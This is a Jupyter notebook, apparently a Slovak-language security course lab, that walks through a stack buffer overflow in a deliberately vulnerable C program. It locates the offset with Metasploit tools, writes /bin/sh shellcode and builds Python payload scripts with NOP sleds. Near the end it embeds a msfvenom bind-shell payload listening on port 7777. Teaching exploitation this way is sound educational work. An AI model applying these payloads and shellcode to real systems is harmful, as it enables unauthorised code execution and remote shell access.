%%bash
echo '#include <stdio.h>
#include <stdlib.h>
void secret() {
printf("You have access.\n");
fflush(stdout);
}
int main(){
char buf[164];
gets(&buf);
printf("%s\n", buf);
return 0;
}' > bo.c
!gcc -o bo bo.c
bo.c: In function ‘main’: bo.c:11:5: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? []8;;https://gcc.gnu.org/onlinedocs/gcc/Warning-Options.html#index-Wimplicit-function-declaration-Wimplicit-function-declaration]8;;] 11 | gets(&buf); | ^~~~ | fgets /usr/bin/ld: /tmp/cchnkRhC.o: in function `main': bo.c:(.text+0x3d): warning: the `gets' function is dangerous and should not be used.
%%bash
echo '#include <stdio.h>
#include <string.h>
void secret() {
printf("You have access.\n");
fflush(NULL);
}
int main(int argc, char *argv[]){
char buf[164];
strcpy(buf, argv[1]);
printf("%s\n", buf);
return 0;
}' > bo.c
!gcc -ggdb -fno-stack-protector -z execstack -o bo bo.c
!./bo "Ahoj, BPD1!" 2>&1
Ahoj, BPD1!
Ak zadáme príliš dlhý reťazec, tak nastane chyba - Segmentation fault
.
Pozn.: presmerovanie chybového výstupu (stderr => stdout) je len kvôli Jupyter notebooku
!./bo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 2>&1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA /bin/bash: line 1: 4939 Segmentation fault ./bo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 2>&1
Veľa znakov si môžeme aj naskriptovať, napr. v Python
-e
!./bo $(python3 -c 'print("A"*200)')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Buffer prepíšeme hodnotami, aby sme pri chybe vedeli zistiť pozíciu, ktorá prepíše návratovú hodnotu (Stack Pointer
).
Vygenerujeme si 200 znakovú postupnosť pomocou Metasploit-u.
!/opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Dáme na vstup nášho programu:
!./bo $(/opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 200) 2>&1
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag /bin/bash: line 1: 4945 Segmentation fault ./bo $(/opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 200) 2>&1
Na zistenie adresy si program spustíme v ladiacom nástroji gdb
:
príkaz | názov | popis |
---|---|---|
r |
run | spustenie |
x ? |
examine | zobrazenie obsahu |
q |
quit | ukončenie |
c |
continue | pokračovanie (step over) |
s |
step | pokračovanie do vnútra funkcie(step into) |
b ? |
breakpoint | nastavenie prerušenia |
info address ? |
zobrazí adresu |
Pozn.: GDB je interaktívny nástroj, takže príkazy namiesto vstupu v Jupyter notebook-u zadávame pomocou presmerovani
%%bash
echo 'r
x $sp' | gdb --args ./bo $(/opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 200) 2>&1
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git Copyright (C) 2021 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <https://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./bo... (gdb) Starting program: /home/user1/jupyter.bpd/bo Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag Program received signal SIGSEGV, Segmentation fault. 0x00005555555551bf in main (argc=2, argv=0x7fffffffea08) at bo.c:14 14 } (gdb) 0x7fffffffe918: 0x67413167 (gdb) quit A debugging session is active. Inferior 1 [process 4952] will be killed. Quit anyway? (y or n) [answered Y; input not from terminal]
Nájdenie pozície (offset-u):
!/opt/metasploit-framework/embedded/framework/tools/exploit/pattern_offset.rb -q "67413167"
[*] Exact match at offset 184
Nájdenie adresy funkcie secret
:
%%bash
gdb --args ./bo bpd1 <<EOF
b main
r
info address secret
print &secret
q
EOF
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git Copyright (C) 2021 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <https://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./bo... (gdb) Breakpoint 1 at 0x118a: file bo.c, line 11. (gdb) Starting program: /home/user1/jupyter.bpd/bo bpd1 Breakpoint 1, main (argc=2, argv=0x7fffffffeac8) at bo.c:11 11 strcpy(buf, argv[1]); (gdb) Symbol "secret" is a function at address 0x555555555155. (gdb) $1 = (void (*)()) 0x555555555155 <secret> (gdb) A debugging session is active. Inferior 1 [process 4962] will be killed. Quit anyway? (y or n) [answered Y; input not from terminal]
Spustenie funkcie secret
prepísaním návratovej adresy (Little Endian, teda od najnižšieho bajtu):
!./bo $(python3 -c 'import os; os.write(1, b"A"*184); os.write(1, b"\x55\x51\x55\x55\x55\x55\x00\x00")')
/bin/bash: line 1: warning: command substitution: ignored null byte in input AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUQUUUU You have access.
Pozn.: Na výpis v Pythone (verzie 3) je použitý os.write
, keďže print
používa UTF-8 (nie jednobajtové znaky).
Samozrejme cieľom nie je spustiť funkciu, ktorá v programe už je, ale nejakú vlastnú, napríklad shell.
https://ics.upjs.sk/~rkb/bpd1/shell.c
%%bash
cat >shell-c.c <<EOF
#include <unistd.h>
int main(){
char *prog[] = {"/bin/sh", NULL};
execve(prog[0], prog, NULL);
_exit(0);
}
EOF
!gcc -o shell-c shell-c.c
!echo "uname -a" | ./shell-c
Linux debian 5.10.0-8-amd64 #1 SMP Debian 5.10.46-5 (2021-09-23) x86_64 GNU/Linux
ls -l shell-c
-rwxr-xr-x 1 root root 16664 Dec 18 22:40 shell-c*
https://ics.upjs.sk/~rkb/bpd1/shell.asm
https://ics.upjs.sk/~rkb/bpd1/shell64.asm
%%bash
cat >shell-asm64.asm <<EOF
global _start
section .text
_start:
xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall
EOF
!nasm -f elf64 -o shell-asm64.o shell-asm64.asm
!ld -o shell-asm64 shell-asm64.o
!echo "uname -a"|./shell-asm64
Linux debian 5.10.0-8-amd64 #1 SMP Debian 5.10.46-5 (2021-09-23) x86_64 GNU/Linux
ls -l shell-asm64
-rwxr-xr-x 1 root root 4696 Dec 18 22:41 shell-asm64*
%%bash
cat >shell-asm32.asm <<EOF
section .text
global _start
_start: jmp trik
rutina: pop esi ; adresa retazca /bin/sh
mov DWORD [esi+0x8], esi; pointer na retazec
xor eax, eax; vynulovanie
mov DWORD [esi+0xC], eax; pointer NULL
mov BYTE [esi+0x7], al; nulovy byte na ukoncenie retazca
mov al, 0xB; konstanta execve
mov ebx, esi; 1. parameter execve
lea ecx, [esi+0x8]; 2. parameter execve
xor edx, edx; 3. parameter execve
int 0x80; syscall execve
xor eax, eax
inc eax ; konstanta exit
xor ebx, ebx; navratova hodnota
int 0x80; syscall exit
trik: call rutina
db "/bin/sh"
EOF
!nasm -f elf32 -o shell-asm32.o shell-asm32.asm
!ld -m elf_i386 -o shell-asm32 shell-asm32.o
!nasm -f elf64 -l shell-asm64.lst shell-asm64.asm
!cat shell-asm64.lst
1 global _start 2 3 section .text 4 5 _start: 6 00000000 4831C0 xor rax, rax 7 00000003 50 push rax 8 00000004 4889E2 mov rdx, rsp 9 00000007 48BB2F2F62696E2F73- mov rbx, 0x68732f6e69622f2f 9 00000010 68 10 00000011 53 push rbx 11 00000012 4889E7 mov rdi, rsp 12 00000015 50 push rax 13 00000016 57 push rdi 14 00000017 4889E6 mov rsi,rsp 15 0000001A 4883C03B add rax, 59 16 0000001E 0F05 syscall
!objdump -d shell-asm64.o
shell-asm64.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <_start>: 0: 48 31 c0 xor %rax,%rax 3: 50 push %rax 4: 48 89 e2 mov %rsp,%rdx 7: 48 bb 2f 2f 62 69 6e movabs $0x68732f6e69622f2f,%rbx e: 2f 73 68 11: 53 push %rbx 12: 48 89 e7 mov %rsp,%rdi 15: 50 push %rax 16: 57 push %rdi 17: 48 89 e6 mov %rsp,%rsi 1a: 48 83 c0 3b add $0x3b,%rax 1e: 0f 05 syscall
!awk '$3 ~ /[0-9A-F]+/ {print $3}' shell-asm64.lst | tr -d "\n-" | sed 's_\(..\)_\\\x\1_g'
\x48\x31\xC0\x50\x48\x89\xE2\x48\xBB\x2F\x2F\x62\x69\x6E\x2F\x73\x68\x53\x48\x89\xE7\x50\x57\x48\x89\xE6\x48\x83\xC0\x3B\x0F\x05
!awk '$3 ~ /[0-9A-F]+/ {print $3}' shell-asm64.lst | tr -d "\n-" | wc -c
64
Tento kód má len 32 bajtov, takže ho môžeme vložiť do zadaného textu do zásobníka.
Kompilovali sme s podporou ladenia, takže stačí pozrieť adresu premennej buf
.
%%bash
gdb --args ./bo $(python3 -c "import os;os.write(1, b'A'*192)") <<EOF
b main
r
info address buf
print &buf
q
EOF
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git Copyright (C) 2021 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <https://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./bo... (gdb) Breakpoint 1 at 0x118a: file bo.c, line 11. (gdb) Starting program: /home/user1/jupyter.bpd/bo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, main (argc=2, argv=0x7fffffffea08) at bo.c:11 11 strcpy(buf, argv[1]); (gdb) Symbol "buf" is a complex DWARF expression: 0: DW_OP_fbreg -192 . (gdb) $1 = (char (*)[164]) 0x7fffffffe860 (gdb) A debugging session is active. Inferior 1 [process 5009] will be killed. Quit anyway? (y or n) [answered Y; input not from terminal]
%%bash
cat >bo_A.py3 <<EOF
import os
os.write(1, b'A'*100)
EOF
gdb --args ./bo $(python3 bo_A.py3) <<EOF
b main
r
info address buf
print &buf
q
EOF
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git Copyright (C) 2021 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <https://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./bo... (gdb) Breakpoint 1 at 0x118a: file bo.c, line 11. (gdb) Starting program: /home/user1/jupyter.bpd/bo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, main (argc=2, argv=0x7fffffffea68) at bo.c:11 11 strcpy(buf, argv[1]); (gdb) Symbol "buf" is a complex DWARF expression: 0: DW_OP_fbreg -192 . (gdb) $1 = (char (*)[164]) 0x7fffffffe8c0 (gdb) A debugging session is active. Inferior 1 [process 5020] will be killed. Quit anyway? (y or n) [answered Y; input not from terminal]
Vytvoríme teda vstup - kód na spustenie, vyplnenie (napr. znakmi A
) a návratová adresa = adresa premennej buf
(na predchádzajúcich dvov výstupoch vidno že sa mení aj v závislosti od vstupu.
%%bash
cat >bo-shell.py3 <<EOF
import os
kod = b"\x48\x31\xC0\x50\x48\x89\xE2\x48\xBB\x2F\x2F\x62\x69\x6E\x2F\x73\x68\x53\x48\x89\xE7\x50\x57\x48\x89\xE6\x48\x83\xC0\x3B\x0F\x05";
ofs = 184
adr = b"\x70\xE8\xFF\xFF\xFF\x7F\x00\x00"
os.write(1, kod)
os.write(1, b"A"*(ofs-len(kod)))
os.write(1, adr)
EOF
!python3 bo-shell.py3|xxd
00000000: 4831 c050 4889 e248 bb2f 2f62 696e 2f73 H1.PH..H.//bin/s 00000010: 6853 4889 e750 5748 89e6 4883 c03b 0f05 hSH..PWH..H..;.. 00000020: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000030: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000040: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000050: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000060: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000070: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000080: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 00000090: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 000000a0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 000000b0: 4141 4141 4141 4141 70e8 ffff ff7f 0000 AAAAAAAAp.......
!python3 bo-shell.py3 | wc -c #kontrola poctu znakov
192
%%bash
gdb --args ./bo $(python3 bo-shell.py3) <<EOF
b main
r
print &buf
n
n
x/192bx buf
c
uname -a
ls -l bo*
exit
EOF
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git Copyright (C) 2021 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <https://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./bo... (gdb) Breakpoint 1 at 0x118a: file bo.c, line 11. (gdb) Starting program: /home/user1/jupyter.bpd/bo H1�PH��H�//bin/shSH��PWH��H��\;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp���� Breakpoint 1, main (argc=2, argv=0x7fffffffea18) at bo.c:11 11 strcpy(buf, argv[1]); (gdb) $1 = (char (*)[164]) 0x7fffffffe870 (gdb) 12 printf("%s\n", buf); (gdb) 13 return 0; (gdb) 0x7fffffffe870: 0x48 0x31 0xc0 0x50 0x48 0x89 0xe2 0x48 0x7fffffffe878: 0xbb 0x2f 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x7fffffffe880: 0x68 0x53 0x48 0x89 0xe7 0x50 0x57 0x48 0x7fffffffe888: 0x89 0xe6 0x48 0x83 0xc0 0x3b 0x0f 0x05 0x7fffffffe890: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe898: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe8a0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe8a8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe8b0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe8b8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe8c0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe8c8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe8d0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe8d8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe8e0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe8e8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe8f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe8f8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe900: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe908: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe910: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe918: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe920: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffe928: 0x70 0xe8 0xff 0xff 0xff 0x7f 0x00 0x00 (gdb) Continuing. process 5037 is executing new program: /usr/bin/dash Linux debian 5.10.0-8-amd64 #1 SMP Debian 5.10.46-5 (2021-09-23) x86_64 GNU/Linux -rwxr-xr-x 1 root root 18008 Dec 18 22:39 bo -rw-r--r-- 1 root root 268 Dec 18 22:42 bo-shell.py3 -rw-r--r-- 1 root root 735 Dec 18 22:38 bo-shell_remote.py3 -rw-r--r-- 1 root root 355 Dec 18 22:37 bo-shell_rnd.py3 -rw-r--r-- 1 root root 231 Dec 18 22:39 bo.c -rw-r--r-- 1 root root 32 Dec 18 22:41 bo_A.py3 [Inferior 1 (process 5037) exited normally] (gdb) quit
bash: line 1: warning: command substitution: ignored null byte in input Error in re-setting breakpoint 1: Function "main" not defined. [Detaching after vfork from child process 5041] [Detaching after vfork from child process 5042]
!echo "uname -a"|./bo $(python3 bo-shell.py3) 2>&1
/bin/bash: line 1: warning: command substitution: ignored null byte in input H1�PH��H�//bin/shSH��PWH��H��;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp���� /bin/bash: line 1: 5044 Done echo "uname -a" 5045 Illegal instruction | ./bo $(python3 bo-shell.py3) 2>&1
V ladiacom nástroji sa nám podarilo spustiť shell
(po úprave adresy), ale z príkazového riadku to nefunguje. V skutočnosti ešte dochádza k posunom podľa vaddr
a zarovnania align
. Takže ako vstup sa na začiatok dáva niekoľko inštrukcií NOP
(nič nerobiacich) a skáče sa o niečo menej, teda na vyššiu adresu v pamäti. Viac napr. v [https://jvns.ca/blog/2018/01/09/resolving-symbol-addresses/]
!readelf -lW bo | grep --color 'STACK\|$'
Elf file type is DYN (Shared object file)
Entry point 0x1070
There are 11 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x000268 0x000268 R 0x8
INTERP 0x0002a8 0x00000000000002a8 0x00000000000002a8 0x00001c 0x00001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x0005d8 0x0005d8 R 0x1000
LOAD 0x001000 0x0000000000001000 0x0000000000001000 0x00022d 0x00022d R E 0x1000
LOAD 0x002000 0x0000000000002000 0x0000000000002000 0x000188 0x000188 R 0x1000
LOAD 0x002de8 0x0000000000003de8 0x0000000000003de8 0x000258 0x000260 RW 0x1000
DYNAMIC 0x002df8 0x0000000000003df8 0x0000000000003df8 0x0001e0 0x0001e0 RW 0x8
NOTE 0x0002c4 0x00000000000002c4 0x00000000000002c4 0x000044 0x000044 R 0x4
GNU_EH_FRAME 0x002018 0x0000000000002018 0x0000000000002018 0x000044 0x000044 R 0x4
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RWE 0x10
GNU_RELRO 0x002de8 0x0000000000003de8 0x0000000000003de8 0x000218 0x000218 R 0x1
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt
03 .init .plt .plt.got .text .fini
04 .rodata .eh_frame_hdr .eh_frame
05 .init_array .fini_array .dynamic .got .got.plt .data .bss
06 .dynamic
07 .note.gnu.build-id .note.ABI-tag
08 .eh_frame_hdr
09
10 .init_array .fini_array .dynamic .got
Vytvoríme nový vstup
%%bash
cat >bo-shell_rnd.py3 <<EOF
import os
zac = b"\x90"*50 #90 je kod operacie NOP
kod = b"\x48\x31\xC0\x50\x48\x89\xE2\x48\xBB\x2F\x2F\x62\x69\x6E\x2F\x73\x68\x53\x48\x89\xE7\x50\x57\x48\x89\xE6\x48\x83\xC0\x3B\x0F\x05";
ofs = 184
adr = b"\xF0\xE8\xFF\xFF\xFF\x7F\x00\x00" #posunieme zaciatok
os.write(1, zac)
os.write(1, kod)
os.write(1, b"A"*(ofs-len(kod)-len(zac)))
os.write(1, adr)
EOF
!python3 bo-shell_rnd.py3 | wc -c
192
%%bash
./bo $(python3 bo-shell_rnd.py3) <<EOF
uname -a
ls *.py3
exit
EOF
Linux debian 5.10.0-8-amd64 #1 SMP Debian 5.10.46-5 (2021-09-23) x86_64 GNU/Linux bo-shell.py3 bo-shell_remote.py3 bo-shell_rnd.py3 bo_A.py3
bash: line 1: warning: command substitution: ignored null byte in input
Namiesto nášho kódu môžeme spustiť ľubovoľný exploit, napr. otvorenie vzdialeného pripojenia sa terminálu-shellu.
Ako kód použijeme exploit z Meta Sploit Framework
-u
!msfvenom -p linux/x64/shell_bind_tcp LPORT=7777 -f c -a x64 --platform linux -b '\x00\x0a\x09\x20'
Found 4 compatible encoders Attempting to encode payload with 1 iterations of generic/none generic/none failed with Encoding failed due to a bad character (index=19, char=0x00) Attempting to encode payload with 1 iterations of x64/xor x64/xor succeeded with size 127 (iteration=0) x64/xor chosen with final size 127 Payload size: 127 bytes Final size of c file: 559 bytes unsigned char buf[] = "\x48\x31\xc9\x48\x81\xe9\xf5\xff\xff\xff\x48\x8d\x05\xef\xff" "\xff\xff\x48\xbb\x66\xfa\x9e\xd0\xbd\x8e\x90\x96\x48\x31\x58" "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x0c\xd3\xc6\x49\xd7\x8c" "\xcf\xfc\x67\xa4\x91\xd5\xf5\x19\xc2\x51\x62\xde\x9c\xd0\xa3" "\xef\xd8\x1f\x80\x90\x8e\x8a\xd7\xbf\xc8\x99\x63\x90\xac\x88" "\xb2\x8b\xd8\xa7\x90\x90\xb5\x88\xb2\x8b\xd8\x01\x0c\xf9\xc0" "\x98\x42\x40\xfa\xb7\x3e\xf5\x9b\xa5\x4b\xe4\xab\xce\xff\xb2" "\x25\xff\xdf\xe7\xfe\xb9\x15\x92\x9e\x83\xf5\x07\x77\xc4\x31" "\xb2\x17\x36\xb2\x8b\x90\x96";
%%bash
cat >bo-shell_remote.py3 <<EOF
import os
zac = b"\x90"*32 #90 je kod operacie NOP
kod = b"\x48\x31\xc9\x48\x81\xe9\xf5\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\x66\xfa\x9e\xd0\xbd\x8e\x90\x96\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x0c\xd3\xc6\x49\xd7\x8c\xcf\xfc\x67\xa4\x91\xd5\xf5\x19\xc2\x51\x62\xde\x9c\xd0\xa3\xef\xd8\x1f\x80\x90\x8e\x8a\xd7\xbf\xc8\x99\x63\x90\xac\x88\xb2\x8b\xd8\xa7\x90\x90\xb5\x88\xb2\x8b\xd8\x01\x0c\xf9\xc0\x98\x42\x40\xfa\xb7\x3e\xf5\x9b\xa5\x4b\xe4\xab\xce\xff\xb2\x25\xff\xdf\xe7\xfe\xb9\x15\x92\x9e\x83\xf5\x07\x77\xc4\x31\xb2\x17\x36\xb2\x8b\x90\x96"
ofs = 184
adr = b"\x40\xE3\xFF\xFF\xFF\x7F\x00\x00" #posunieme zaciatok
os.write(1, zac)
os.write(1, kod)
os.write(1, b"A"*(ofs-len(kod)-len(zac)))
os.write(1, adr)
EOF
!python3 bo-shell_remote.py3 | xxd
00000000: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000010: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 00000020: 4831 c948 81e9 f5ff ffff 488d 05ef ffff H1.H......H..... 00000030: ff48 bb66 fa9e d0bd 8e90 9648 3158 2748 .H.f.......H1X'H 00000040: 2df8 ffff ffe2 f40c d3c6 49d7 8ccf fc67 -.........I....g 00000050: a491 d5f5 19c2 5162 de9c d0a3 efd8 1f80 ......Qb........ 00000060: 908e 8ad7 bfc8 9963 90ac 88b2 8bd8 a790 .......c........ 00000070: 90b5 88b2 8bd8 010c f9c0 9842 40fa b73e ...........B@..> 00000080: f59b a54b e4ab ceff b225 ffdf e7fe b915 ...K.....%...... 00000090: 929e 83f5 0777 c431 b217 36b2 8b90 9641 .....w.1..6....A 000000a0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 000000b0: 4141 4141 4141 4141 80e8 ffff ff7f 0000 AAAAAAAA........
!python3 bo-shell_remote.py3 | wc -c
192
%%bash
gdb --args ./bo $(python3 bo-shell_remote.py3) 2>&1 <<EOF
b main
r
n
x/192bx buf
c
EOF
